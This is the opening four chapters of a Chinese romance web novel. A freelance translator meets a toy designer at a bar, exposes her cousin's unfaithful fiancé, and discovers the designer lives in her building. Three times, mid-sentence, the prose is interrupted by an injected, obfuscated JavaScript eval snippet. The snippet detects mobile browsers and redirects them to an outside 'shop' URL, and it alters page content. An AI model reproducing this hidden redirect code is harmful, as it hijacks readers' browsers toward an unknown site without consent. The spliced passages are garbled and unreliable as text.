《和相亲对象做邻居的日子》 1. 第一章 下午时分,许知蕴收到了妈妈发来的一个文件,还没来得及点开,许妈妈的电话就打了过来。 “小蕴,资料记得看哦!”或许是因为退休在国外度假的原因,许妈妈的声音很轻快,“人家家世不错,家风也正,长得也帅气,这算是挺好的相亲对象了吧?你要是觉得不错,那就试试看?或许能找到真爱也说不定哦,毕竟我和你爸就是相亲认识的。” 许知蕴看着刚刚传过来、新鲜热乎的word文档,标题上还写着“相亲对象一”。 她问:“如果这个不成呢?” 许妈妈很无所谓:“不成那我们就不相了,我们也不勉强你。只是这孩子确实不错,我和你爸都觉得值得一试呢。” 人一旦过了二十五岁,似乎就都逃不过被催婚的命运。许知蕴今年二十八岁,正处在一个不尴不尬的年龄。她也听别人的介绍,相过几次亲,同几位男士见过面,可惜无一例外都告吹了。被询问起原因时,她总是说:或许就是没缘分吧。 许妈妈向她保证,今天这个,是最后一个。 许知蕴一边敲着键盘,一边调侃道:“真的?真的是最后一个?” “真的真的,不骗你。” “那就好。别着急,妈妈。等我忙完这篇稿子就看。” 许妈妈得到期待中的回复,便满意地挂了电话。 许知蕴是个自由职业者。大学毕业后,她考取了新加坡的翻译学硕士——可惜这点学历在父母面前都是不够看的。许家父母都是博士,两人在同地区的不同大学任教,眼前的研究生简直遍地走。 读完硕士,她便回国工作。刚开始找了个服装大厂,负责对外贸易,干了一年半,实在太累,工资和投入简直不成正比,尤其是早上起床梳头,发现由于熬夜导致头发大把大把往下掉后,更加坚定了辞职的决心,索性一鼓作气,辞了工作,在家里接接翻译稿,靠杂志给的稿费为生。她的专业知识很过硬,因此得到的报酬也算是丰厚,支撑自己的生活没有问题。 只是每天埋头于电脑和词典之中,差点就得了假性近视。 译稿还差那么多……什么相亲对象的资料,还是先滚到一边去吧。 她懒得点开,只是将文档拖到电脑桌面上——这就算保存了。 * 等到把今日既定的页码翻译完,已经是晚上八点了。许知蕴伸了个懒腰,心情颇好,打算去附近的酒吧喝一杯。 那家酒吧算是这附近的老牌知名酒吧,她每次路过时,都能透过窗看见里边坐满了人,听见里边驻唱歌手柔柔的歌声。她前不久去过一次,觉得里边的大都会和金汤力很是不错。 今天就当奖励自己吧。换了身衣服,许知蕴便下了楼。 酒吧里人不算多,她找了个僻静的小桌坐了下来。服务生拿来酒单,她看了看,还是选择之前喝过的那款。“我喜欢果味,酒精浓度高一些也没关系。” “好的小姐。” 服务生拿走了酒单,把水和小食端了上来。这家的特色是芝士薯条,许知蕴尤其喜欢它浓厚的芝士香气,闻起来很温暖。 酒还没上来,她索性撑着腮帮子,开始观察周围。吧台那边是一对正在交谈的年轻男女,靠窗的位置则坐着几位穿着颇有嘻哈风格的青年;再近一点,是群风格各异的美女,正举着杯子叽叽喳喳地聊天。许知蕴的目光在空气中漫无目的地穿梭着,最后集中在一个男人的身上。 这人坐在她的侧后方,两人的桌子挨得不算近,但也不算远。店内虽然光线略微昏暗,但她仍能很清楚地看见男人那颇为出挑的长相。这人穿着闲适,不失低调清爽,但周身偏又有一股气场,将他与其他人隔开一层。 许是感知到她的目光,男人抬起头来,露出精致又不失锋锐的眉眼。 哇哦,帅哥。看起来身材也很好。 许知蕴在心底悄悄夸赞了一句。但此刻两人对视,如果不说点什么,就显得格外尴尬了。于是她把目光隐秘地从那张帅脸上挪开,表现得对他桌上的苹果派很感兴趣的样子: “……嗯,我想问一下,这个好吃吗?” 她也点过小食,但很确信之前从未在菜单上见过苹果派。难道是新品? “不,我觉得很一般。” 许知蕴原以为对话会就此告一段落,却没想到男人接下来还给出了颇为诚恳的建议:“我推荐你点烤口蘑虾滑,也是最近的新菜,但非常成功。” 真的假的? 许知蕴是很干脆的人,做事有些风风火火,在吃的方面,也非常乐于接受别人的提议。她很快点了一份烤口蘑虾滑,过了一会,这份热气腾腾的虾滑便和她先前点的果酒一起被端了上来。 咬开的那一瞬,口蘑和虾滑的鲜味就在唇齿中迸发出来,配上黑胡椒和些许欧芹碎的独特香气,更是令人流连忘返。许知蕴吃了第一口,就立马对男人竖起大拇指:“谢谢你的推荐啊,真的很好吃!” 她的眼神亮晶晶的,在酒吧这昏暗的灯光下,显得流光溢彩。 男人笑了起来:“能合你的口味,那正好。” 今天许知蕴点的依旧是大都会,蔓越莓汁清甜爽口,同时又含有酒精的浓烈感,晚上小酌一杯最适合不过。 或许是因为喝了点酒,她的胆子意外地变大了,转过头,开始跟男人攀谈起来:“帅哥你好,怎么称呼啊?” 男人侧过身,以便更好地面对她:“我姓程。” “我姓许。”许知蕴啃了两口芝士薯条,“程先生,你经常来这里吗?我先前没怎么见过你呢。” 程烨然说:“只来过一次。那次是我和几个同事在这里聚餐。” 同部门的一位意大利同事过生日,便请他们来喝点小酒。几个人把这酒吧里的菜都点了个七七八八,尝过之后,那位同事青睐烤鳕鱼,而他却认为口蘑虾滑更胜一筹。 “这样啊。”许知蕴点点头,“那今天来又是为了什么呢?觉得这里的菜好吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067578|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程烨然拿过身旁的自由古巴,轻轻摇晃着杯中的冰块。 “不。”他给出了一个否定的答案,“家里催婚,安排了相亲,我在想究竟去不去。” 似乎大家都在烦恼这类问题啊。许知蕴问:“相亲对象是什么样的人呢?” 程烨然沉默了一会,道:“暂且还不知道。” 他爸还没给他看人家的资料。 许知蕴好歹算是相过几次亲的人,便装出一副很有经验的样子,真诚地劝说他:“有时间还是相亲试试看,万一找到真爱也说不定?就算找不到,你多相几次,展现出对她们都没什么兴趣的态度,父母或许就不再催了……我差不多就是这么过来的……” 她说得头头是道,真情实感。程烨然忍不住惊讶地挑了挑眉:“我以为以许小姐的条件,寻觅一个如意郎君并非难事。” 面前的女子长相清秀,带些书卷气。虽然打扮随意,但依旧能从她的谈吐及姿态中,看出她必定有很好的家庭教育,受过良好的教养。 许知蕴闻言笑起来:“承蒙夸奖。或许跟他们还是没缘分吧。” 她将酒喝完了,打算续杯,抬眼想招服务生来,却看见吧台那边,推门进来两个人影。那是一男一女,女人着一身酒红色的吊带裙,男人则穿着精心熨烫过的深蓝色衬衫,头发也像是花心思打理过。两人坐到吧台处,同调酒师交谈了几句,随后便柔情蜜意地亲吻起来。 若只是一对普通的男女,那便罢了,可许知蕴却越看那男人越眼熟。 无论是身形还是五官,这人……都像极了她表姐的未婚夫。 她印象中,表姐是去年订的婚,今年夏天就要结婚了。如果他真是表姐的未婚夫…… 本来想继续喝的,看来喝不成了。许知蕴叫了服务生来结账,随后开始收拾自己的东西,一边收拾,一边低声对程烨然说:“程先生,谢谢你同我聊天,但很不好意思,我得先走了。” 程烨然在先前就已经注意到她神色的变化,猜或许是什么与那对男女有关的事,只是他一个萍水相逢的陌生人,也不好多问。 “许小姐再见。”他礼貌地颔首,“我还会再坐一会,如果有什么需要帮忙的,可以回来找我。” 许知蕴点点头,然后拎着包走向吧台。她要看看这男人究竟是不是她表姐的未婚夫,如果认错了,她就赔礼道歉。可如果没有认错…… 她走到那男人身旁时,穿酒红色裙子的女人朝男人使了个眼色,低声说:“阿俊,似乎有人找你呢。” 于是,男人侧过头来——吧台的灯光要比小桌明亮一些,因此,几乎是在男人转头的同一时刻,许知蕴就看清了他的脸:这张熟悉的、出现在表姐床头照片上,以及手机里各种合照的脸。前不久,这张脸的主人,还“满怀爱意”地同表姐在山上露营,拍了照片,好一对佳偶天成。 许知蕴深吸一口气,伸手按住这男人的肩膀,冷笑起来,一字一顿地说道:“你是李文俊先生,没错吧?” 2. 第二章 李文俊的脸瞬间变得煞白。 “我们……”他看了一眼身旁的女子,又看了一眼许知蕴,低声道:“小蕴,我们出去说……出去说……” “好,出去。”许知蕴冷着脸,扯着男人的袖子,将他拽到了外边一条小路上。这条路很少人走,此时相对僻静,正好供他们说话。女人也跟了过来,脸上是显而易见的慌乱:“怎么了?这位姑娘,阿俊怎么了?” 许知蕴说:“小姐,你知不知道,这位李文俊先生,有婚约在身?如果我没记错,今年夏天,他就要举办婚礼,成为一个真正的好、丈、夫、了。” 她故意把“好丈夫”三个字咬得很重。这话一出,在女人的耳朵里,犹如炸出晴天霹雳一般,女人猛地回头,不可置信地看着李文俊:“你要结婚了?先前认识的时候,你说你单身,这都是在骗我?!” “我——”李文俊想说什么,却什么都说不出。若今天抓包他的是什么别的女人,他大可以用谎话来搪塞她:妹妹啦、公司认识的同事啦……我和她们保持距离,是她们自己要贴上来的,随后再送点礼物,低声下气地做做保证即可——可今天,他面前站着的是许知蕴,是他那位未婚妻的表妹。无论他撒什么谎,这位表妹都能分分钟拆穿。他还能说什么? 可许知蕴却像是知道他在想什么一般,轻轻地笑了一声:“李先生,你该不会在想,如果今日抓你的不是我,你还能撒撒谎,送送礼物,就把这事情揭过了,对不对?” 她话音刚落,又转向那名女人,道:“这位小姐,他是我亲戚的未婚夫,订婚典礼的照片还在我手机里,你要是想确认,我随时可以给你拿出来。这人是个彻头彻尾的骗子,他骗了他的未婚妻,也骗了你,说不定……”她的语调意味深长起来,“说不定,在我们都看不到的地方,他还骗了别人呢。” 女人的眼睛里满是泪光,不过只有一瞬,她很快用手背擦拭掉了。她拉住许知蕴的手,声音有些哽咽:“谢谢你,要不是你,我还发现不了……” 说完,她看向旁边站着的李文俊:这人此时像个鹌鹑一样缩着脑袋,那身熨烫过的衬衫变得皱巴巴,打理过的头发也被风吹得凌乱。此时再看他,哪里觉得什么面容英俊,风度翩翩,只觉得面目可憎得很。李文俊想伸手拉住她,被她一把甩开:“别用你的手碰我!我们已经分手了!” 女人很快招手打了一辆出租车,乘着车扬长而去。 看着出租车远去的身影,李文俊颤颤巍巍地开口:“小蕴……我会和美芝提分手……你能不能……” 许知蕴斜睨他一眼:“能不能什么?” “能不能别告诉美芝这件事……” 哇哦,男人的脸面。许知蕴沉默了一会,忽然道:“好啊。” 李文俊没想到她答应得那么爽快,满脸都写着惊异。许知蕴指了指他的手机:“你现在马上打电话给我表姐。你不是说你来提分手吗?那么现在就提。” 李文俊拿起手机,很快拨通了电话。“美芝。”他小声嗫嚅道,“我觉得我们可能并不适合在一起……我们取消订婚,分手吧。” 许知蕴留心听他的下文,可他说完这句话后,对面似乎回答了句什么,就干脆利落地挂掉了,徒留李文俊满脸的错愕。 “你表姐她……同意了。”李文俊怔怔地说。 许知蕴也不懂表姐为什么这么爽快地同意——难道是早有察觉?不过这些都已经不重要了。摆脱渣男,真是一件可喜可贺的事情。 “你还是好自为之吧。”她说。 李文俊的背影显得失魂落魄,而许知蕴才不关心这件事情呢。她哼着歌儿轻快地走回了家。 当然,一回到家,她就反手拨通了表姐陈美芝的电话。 * 陈美芝在洗漱前接到了李文俊的电话,在洗漱后又接到了许知蕴的电话。她一想,大概就能猜出什么回事了。 许知蕴在电话里将今晚发生的事情讲了一遍,陈美芝听完,默默地点头。来龙去脉讲完,许知蕴忍不住问:“表姐,你怎么这么快就答应分手了?是你察觉出什么了吗?” 陈美芝叹了口气:“小蕴,女人在陷入爱情中的时候,往往会不自觉变得敏锐的。” 陈美芝今年三十三岁,曾经谈过一段七年长跑的恋爱,要订婚时,因男方家长死活不同意而告吹。后来她遇到了李文俊,这人年纪与她相仿,长得也算五官周正,做事很得领导的赏识,总之似乎是个值得投资的好苗子,加上李文俊嘴很甜,两人很快就在一起,两年后便订了婚。 陈美芝也不想发觉的,可是她却不得不发觉。 那些若有似无,想要仔细捕捉却又消失的女士香水味;对不上行程的时间表;偶尔躲闪的目光;有时莫名其妙的讨好和殷勤……她的感官几乎是无意识地捕捉到了这些东西。她也曾半真半假地询问过,得到的回答却总是有理有据,似乎天衣无缝。这两个月来,她一直在想这些事情,但并没有实质性的证据。正当她苦恼的时候,李文俊却将分手的电话打了过来。 正好,她也动了这个心思,索性答应了。 如今恢复单身状态,陈美芝觉得一身都轻松了许多。 许知蕴的声音闷闷地从电话那头传来:“我知道……人一旦做了什么事情,总会留下蛛丝马迹的。只是表姐,我希望你早日遇见一个对你真心相待的人。” 陈美芝虽然大她六岁,但从不摆姐姐的架子,许知蕴小学时便和她玩在一起,听她讲中学时的趣闻。等许知蕴也上了初中,陈美芝就给她免费补习。许知蕴去新加坡时,许家父母由于出差的原因没空,还是陈美芝送她上的飞机,在当地陪她逛街、买生活必需品、排解思乡的寂寞……她一直觉得,只有顶好的男人,才能配上表姐的灵魂。 听许知蕴这么说,陈美芝笑了,隔着电话线宽慰她:“小蕴,一个男人而已,只能是感情上的小创伤,算不得什么。我看与其操心我,不如多关注一下你自己的人身大事吧。” 看来表姐也听说父母给自己安排相亲的事了。许知蕴哀叹:“别说了,想到这个我就头疼。” “对方是什么样的人呢?”陈美芝问。 “我还没看,反正距离约定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067579|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间还有好几天,不着急。等我把这个翻译的稿子忙完再说。”许知蕴懒洋洋地瘫在沙发上。 “好好好,不打扰你了。”陈美芝看了一眼钟,“我得睡了,明早还有个会议要开。周末再聊?到时候表姐带你吃海鲜去。” “周六还开会呐……一言为定啊!” 许知蕴美滋滋地挂了电话。那家海鲜她先前同陈美芝去过一次,菜品新鲜,香气扑鼻,最主要的是价格实惠,还能看到海景。 她快乐地洗漱,换上睡袍,简单做了护肤,戴上眼罩,然后幸福地躺倒在床上,打算享受一个美好的夜晚。 可惜,半夜十二点,她被饿醒了。 * 许知蕴打开了厨房的灯。 她这人,对吃的算是比较有要求,自己也经常下厨,做些自个儿研发的菜品。厨房的灯亮得有些刺眼,她花了好一会才适应光线,然后打开冰箱,在里边翻找能吃的东西。 翻了半天,翻到一把蔫了吧唧的青菜、一排鸡蛋、一包手打牛肉丸、还有冷冻层里冻得硬邦邦的猪肉若干。这个时候解冻是来不及了,许知蕴只好把牛肉丸、青菜和鸡蛋拿出来,又从柜子里抽了一袋挂面,准备做个夜宵吃。 煮面、下菜、调汤……不多时,一碗再家常不过的面条就做好了。许知蕴还给自己卧了个荷包蛋。她对煎蛋很有一手,尤其爱吃酸甜口的荷包蛋。 往面里加了点辣油和蒜蓉辣酱,许知蕴的视线扫过调料台,看见里边有一瓶几乎没怎么开过的黑胡椒粉。她又费劲把那瓶黑胡椒拿了出来,撒了点在面上。浓郁的香气瞬间充满了整个厨房。 闻着这熟悉的味道,她忍不住想起今天吃的那盘鲜美的烤口蘑虾滑,想起今天碰见的那个男人。 虽然只是偶然碰见,但她却觉得和这位程先生很是投缘。尤其是在两人都有共同的烦恼——相亲——的时候,简直就是一个战壕里的战友。 只是不知道什么时候会再见到他?或许之后都见不到了也说不定。 * 许知蕴久违地熬夜了。 由于昨晚吃了夜宵,她的大脑还处于亢奋状态,根本睡不着觉,索性拿起手机玩了两把游戏。可这游戏越玩越窝火,越玩越折磨,里边的某个任务总是完不成,她就铁了心的要在今晚通关这个任务,因此熬到了凌晨三点。 等她看到时针指向“3”这个恐怖的数字时,后悔却也为时已晚。她放下手机,任由铺天盖地的困意席卷而来,结果一下子睡到了第二天早上十一点。 拿出手机一看,许知蕴瞬间清醒了。她急急忙忙从床上蹦起来,以最快的速度洗漱,啃了个家里的面包当早餐。可这一通操作下来,还是很困。她感到眼皮子直打架。 许知蕴模糊地记得,附近最近新装修了一家咖啡馆,就在不远处,十分钟以内就能到,于是便背着词典、电脑和稿纸,风风火火地踏着日光走进店里,找位置坐下,点了杯玛琪雅朵,便打开电脑,专注地与大段大段的英文抗争。 她工作得很是忘我,全然不知半小时后,有两个男人并肩走了进来。 3. 第三章 周颂走在路上,觉得热得慌,便将外边那件薄外套脱了下来。“你说这天气怎么这么怪呢,一会热一会冷的。早知道学你了,穿件短袖多方便。” 这会脱了外套,没处放,周颂只好把它搭在手上。 程烨然笑笑,给他看手机里的天气预报:“春天就是这样。气温变化多端,大街上穿什么的都有。” “真是……” 周颂抹了把头上的细汗,同程烨然聊起家里七大姑八大姨的八卦来。程烨然已经听了一天,饶是再有趣的八卦,如今耳朵也起茧子了。“你这有完没完了?”他说,“你还是想想如何让叔叔回心转意才要紧。” 周颂想要自主创业,于是同他爸吵了一架。他爸说,先前开个书店,经营不善倒闭了,如今又想开个咖啡馆,不如跟着你舅舅学证券,将来家里的产业也好继承。周颂跟他爸顶嘴,说我烦死那些弯弯绕绕的东西,反正现在木已成舟,店面已经开业了,如果把这个也干黄了,我再跟着舅舅学。 两人在家里吵了不大不小的一场架,正是两看相厌的时候,周颂觉得眼不见心不烦,就跑到程烨然家里借住。他问程烨然,这附近有什么好吃的,不如中午去搓一顿。程烨然思索了一下,说附近没什么吃的,但他知道一家做扬州狮子头一绝的菜馆,可以一试。 他们驱车前往,发现这家菜馆虽然位置偏僻,但停车位几乎爆满,两人转了几圈,才发现一个位置。上了二楼,点了狮子头并几道招牌菜,周颂拿着筷子尝了一口,便直呼来对了。 直到现在,他的鼻尖还萦绕着松茸的清香。 作为回报,周颂说,请程烨然去他的新店喝咖啡。 “我爸现在在气头上呢,生气快,消气也快。不着急……”周颂絮絮叨叨,“等我在外边潇洒几天先。” 程烨然同周颂从小交好,大概也能摸清他父亲的脾气。“但愿吧。” 两人说着,已经看见了咖啡馆的招牌。他们推门进去,周颂问他:“上二楼吗?” “不用。”程烨然随意道,“就在一楼也挺好。” 他的目光在店内扫了一圈,却在触及某个地方时顿住了。 那里似乎有个很眼熟的身影,正在噼里啪啦敲击键盘,时不时埋头在词典里,偶尔挠挠脑袋,拨拨头发,看上去有些烦躁的样子。 “看什么呢?” 周颂放低声音,顺着程烨然的视线看过去。“哎呀,一位姑娘!” 他的声音虽小,但仍能让人听出里边夸张和调侃的意味。“烨然,这是你的朋友?我怎么从没见过?” 程烨然笑着摇摇头:“不,是我昨天在酒吧遇见的一个人。” 他招来服务生,低声问:“那位小姐点了什么?” “一杯玛琪雅朵。” 程烨然说:“我替她付了。”说完,朝周颂使了个眼色。 周颂在一旁立马补充道:“结账时她如果问起,你就说她是今天序号特殊的顾客,享有免单权利。顺便给我点一杯澳白,给这位先生点西班牙拿铁。都要热的。” 等服务生走后,周颂迫不及待地问他:“昨晚在酒吧的事情,你还没跟我说呢。我看你是蛮欣赏她的,都替她付账单了。” 程烨然倒是不否认这一点。“我确实很欣赏她,和她聊天很有趣。” 周颂呵呵笑起来,同程烨然坐下。两人的咖啡很快端上来,程烨然举起杯子,抿了一口,夸赞道:“很好喝。我看叔叔不必担心你这咖啡馆的经营了。” “那当然,我请的可都是业内有名的咖啡师,原料都是最好的。”周颂信心满满。他虽然出生于金融之家,可他最大的梦想不是成为什么龙头大鳄,只是想开一家小店,自娱自乐而已。之前的书店倒闭了,他吸取教训,满心觉得自己这咖啡馆能开得起来。程烨然也真心希望他能做成。 * 忙活到下午两点半,许知蕴总算是把原定在上午翻译完的段落搞定了。今天的速度比想象中的要快,或许是因为这咖啡的确很好喝。新开的果然不一般啊。 她站起身来,活动活动筋骨,想着回家休息一会,下午再来,便喊来服务生要结账。“这多少钱来着?” 她掏出手机,准备付款,却听见服务生说:“您是本店今日的第12名顾客,12是今日的幸运数字,恭喜您获得免单的权利。” 许知蕴一听,惊叹于自己的好运。 “你们店搞活动吗,我怎么没看广告上写……难道是隐藏活动?”她笑盈盈道:“看来我得研究一番,以后数着人数来才行。” 服务生也笑了:“欢迎您常来。” 许知蕴将手提电脑关了,装进电脑包里,走出了店门。不知为什么,忽然有些心有所感——就像有什么力量想让她回头一般,她莫名想要再看一眼。 这一看,她就透过咖啡馆的玻璃窗,看见了那位在酒吧里遇见过的,程先生。 她放轻脚步走了回去,走到程烨然的跟前,见这人正在看书,也不好打扰他,正想着怎么巧妙地开口,程烨然就抬起头来了。 许知蕴连忙打招呼:“嗨!不知道你还记得我吗?” 程烨然放下书,温和道:“当然记得了。”他站起来,拉开对面的一张椅子,请许知蕴坐下,又问她想喝或吃点什么。许知蕴摆摆手:“不用啦,先前已经喝过了。” 她顿了顿,想着同他能再次遇见也算是有缘分,便说:“我叫许知蕴。知道的知,蕴含的蕴。可以请教程先生的名字么?” 程烨然并不觉得,一个只见过两面的人询问他名字,是一种冒犯。 他报上了自己的名字。兴许是一时想不到“烨”字的组词,他索性打开手机,打拼音给她看。 就在这时,穿着服务生衣服的周颂忽然从不知哪个旮旯角跳出来,手上还端着盘子,嬉皮笑脸道:“许小姐好呀!我是烨然的朋友……烨然,你也不介绍一下我?” 程烨然只好无奈道:“这是周颂。他是这家店的老板。” 周颂朝他做了个鬼脸:“哇,介绍我那么随意啊!” 许知蕴夸他:“周先生不仅一表人才,还很有品味呢。店里的装修很漂亮,咖啡也很好喝,品得出来很有功夫。我以后会常来的。” 她这话虽然是夸赞,但也并不是假话。咖啡馆内的装潢确实别具一格,她刚喝的那杯玛琪雅朵,奶泡十分绵密,咖啡浓缩也比其他品牌的更有风味。 听她这话,周颂得意地咧开嘴:“你真会说话!以后你来,我都给你打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067580|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半折。” 他还想再聊一会,可是来客人了。既然穿了服务生的衣服,那就得尽到职责。他说了句“失陪”,便笑容满面地招待新客去了。留程烨然与许知蕴两人坐在那里。 桌上有一本小书,开本有点小,意外地很厚实,封面似乎是一个玩具熊的手绘图。这是程烨然刚才看的书。 她指了指那本书,问:“我可以看看么?” “当然可以。”程烨然将书拿起递给她,“你要是想拿回去看,我也可以借你。” “多谢啦。” 许知蕴接过书,翻动起来。里边每一页都有一副手绘图,有的是小汽车,有的是玩偶,还有些是拼图、魔方等,总之是许多可爱又有点稀奇古怪的小物件。在每一幅图的下方,都会标注这是哪个公司的哪名设计师的作品,以及它们生产出来的日期,以及独有的机关与巧思。一本很精致的书。 许知蕴将它简略地从头翻到尾,赞叹道:“很漂亮。” 上边的手绘图真的很吸引人。她将书交还给程烨然,开玩笑似的猜他肯定很喜欢画画。没想到程烨然说,自己的工作与绘画相关。许知蕴很好奇,这位程先生是做什么工作的呢? “我是益智玩具的设计师。”程烨然神色自若,给她解答了。 他从小喜欢绘画,他父亲则想让他学商科——也就是跟着他哥的路子。程烨然也确实有经商一道的天分,可他却同周颂一样,偏不喜欢这些东西,大学时一意孤行读了设计。程父想,总归家里还有另外成器的孩子,能够放心把产业交到他手上,也就随程烨然去了。 程烨然作为程家的儿子,也参加过不少宴会,只是有人提到他的工作,神色间总会有点不解。像他们这些人,大多修读商科、语言、法学等学科,修艺术的也大有人在,可学“玩具设计”的寥寥无几。如果要学艺术,学其他专业不好么?说出去也有点分量。不知学这个有什么前途? 他短暂晃神,却听见许知蕴说:“真棒!如果我会画画,一定也要找个类似这种的工作!” 程烨然问她缘由。 “谁小时候没玩过玩具呢?以前我就在想,如果谁能设计出有趣又好玩的东西就好了。我也自己试着做过,只是手不够灵巧,脑子也没什么创意,做不出来。一个能设计出令人爱不释手的玩具的人,肯定有扎实的基本功、灵感、耐力以及童心。这难道不是很棒吗?” 听她这么说,程烨然忍不住笑起来。这姑娘真的很有趣。 许知蕴又说起自己的本职工作来。一说到熟悉的东西,很容易没完没了。她同程烨然说了很多:假性近视的苦恼啦、对于不明白的专业术语的抓狂啦、查生僻词语的麻烦啦……顺便还说了几个有趣的英文俚语及其对应解释。程烨然读硕士时是去德国留的学,精通的是德语,对于英语,他还停留在勉强与人自由交谈的阶段,因此对于这些英语的小趣味,他感到很是新鲜。 再加上她讲得幽默,他也不觉得枯燥,只是坐在她对面,静静地听。 许知蕴说了许久,突然反应过来自己在干什么,立马打住了话头,有些不好意思:“啊,我是不是说得太多了?” 程烨然认真地看着她,摇了摇头。 “不。我很喜欢听。” 4. 第四章 他们聊得很尽兴。 临走时,周颂还给他们塞了好几包小零食,让他们有空常来。“特别是许小姐哦,你来都是半价!” 许知蕴向他道谢。程烨然抱着手臂看向周颂:“周大老板,那我呢?” 周颂仍是那副笑嘻嘻的样子:“我也给你半价。” 程烨然这才舒心了。 他看向许知蕴,说送她回去,问她住哪个小区。许知蕴很快报出了小区的名字,程烨然却是一愣。 他说:“我也住这个小区。” 这回轮到许知蕴惊讶了。“你住哪栋?” “15栋。”程烨然补充道,“15栋8层。” 许知蕴差点要跳起来。“我住15栋7层!” 她忍不住上上下下地打量着程烨然。他们住一个小区,还是同一栋楼,况且是程烨然这样一个人,就算她平日爱宅家不出门,那怎么可能没见过? 然而事实就是没见过。两人虽然住在同一个区域,生活却诡异地像两条平行线。如果不是在酒吧遇到,或许根本不会相交。 程烨然给她拉开车门:“我刚搬来这里不久,平日也多睡在公司,周末才回来住。没碰见过,也并不奇怪。” 许知蕴坐进车内,给自己系好安全带。她能闻见车内浅淡的香水气息。 她抬眸,看着程烨然的侧脸,看他优越的鼻梁,忽然感到心境有些奇妙。 程烨然抬手发动车子,见她目光停留在自己的脸上,便偏过头去,很自然地问:“怎么,我脸上有什么东西?” 许知蕴眼睛弯弯,快乐地说:“没什么。看你帅呢。” 他们互相留了电话和门牌号。 许知蕴又投身于自己的工作之中。她忙碌了两天,总算在截止日期前将稿子赶完了。将桌面上一堆查阅的资料截图等删掉,看着银行卡里的钱入账,总有一种成就感。 她同陈美芝打电话,说自己遇到的这个人。她没提名字,只说了两人碰面两次,又住在同一栋楼上下层的事情。陈美芝听了,乐不可支,直说他们有缘分,或许比那虚无缥缈的相亲对象强。 许知蕴听到“相亲对象”这四个字,愣住了。陈美芝听她不说话,忍不住狐疑道:“小蕴,你该不会还没看吧?” 许知蕴说:“我忘了。” 工作太忙,她已经把这件事抛到一边了。 陈美芝好笑地叹气:“阿姨要是知道了,估计又得批评你。还是赶紧看了吧。” 许知蕴连连点头,在电脑上翻找起来。她找了半天,发现没有,疑心自己难道把资料错当成该处理的垃圾挪到回收站里了?她又点开回收站,鼠标滚轮滚了两圈,才在一堆长长短短的文件名中找到“相亲对象一”的名字。 她怀着忐忑不安的心情打开,却发现—— 文档里除了两页空白着的表格,什么也没有。 * 程烨然这天晚上没有宿在公司,也没回家,而是赶往了老宅。 他哥程烨熙出差回来,便叫他回宅子吃晚饭。等他赶到,菜已经差不多上齐了。江玥一见他进门,便笑盈盈道:“快洗了手来吃饭吧。” “嫂子好。”程烨然把外套脱了,挂在衣帽架上。原本江玥还想帮忙,程烨然说:“不用了嫂子,等下我哥看到又不高兴了。” 江玥笑笑:“他不敢不高兴。” 程烨然洗了手,坐到桌子旁。程父程母要处理公司事务,前两天便飞到外地了,因此家里餐桌上就他们三人。他舀了一碗三鲜鱼汤,喝了好几口,满足地喟叹一声:“在外边也吃过不少有名气的店,但还是陈叔做的三鲜鱼汤最好吃。” 程烨熙对江玥打趣道:“你看,咱们家里,只有他最会吃。家里两个厨师,都会做三鲜鱼汤,我们倒觉得没什么不同,偏偏他立马就能尝出来是陈叔做的。” 江玥说:“毕竟厨师是烨然找来的嘛。” 家里总共五口人,只有程烨然对美食情有独钟。大学时,他曾因为听闻某地的虾蟹此时正肥美,就打飞的去当地吃,一呆两天,吃了好几家,难吃的也有,好吃的也有。吃到鲜美的蟹膏,还拍了照同他哥炫耀。 几年前,家里的厨师年纪大了,想要退休,程烨然就费大劲多方打听,找来两个好手。这两位师傅,一个擅长淮扬菜,一个擅长粤菜,都是业内颇有名气的。就连口味比较挑剔的程父,吃了他们做的菜,也挑不出什么错来。 程烨然对他哥的调侃不以为意:“民以食为天。我可就这点乐趣了。” 他一边吃饭,一边听着程烨熙讲公司里的事情。那些专业名词,他涉猎不多,也就听个一知半解。有时候看他皱眉头,江玥就出声来解释。 江玥是程烨熙读书时认识的大学同学,毕业就结婚了,如今一直甜蜜到现在。 程烨熙说了许多,总算将想说的说完了。他看了程烨然一眼:“我的事讲完了。你讲讲你的。” 程烨然本想说,自己没什么事,但却转念想到了前些天遇到的那位姑娘。 他想起那天在咖啡馆里的那个场景。许知蕴在谈论自己的工作,虽然语气上是对这份工作的抱怨,但她说起那些有趣的俚语和译者典故时,眼睛发亮,顾盼神飞,看得出,她是真心热爱这份事业的。 他回想着,嘴角微微勾起。 程烨熙看到他神色的变化,便问:“想到什么了,看起来挺开心的?” 程烨然的眉眼含着淡淡的笑意:“之前遇见个有趣的人,同她聊了一会天。” 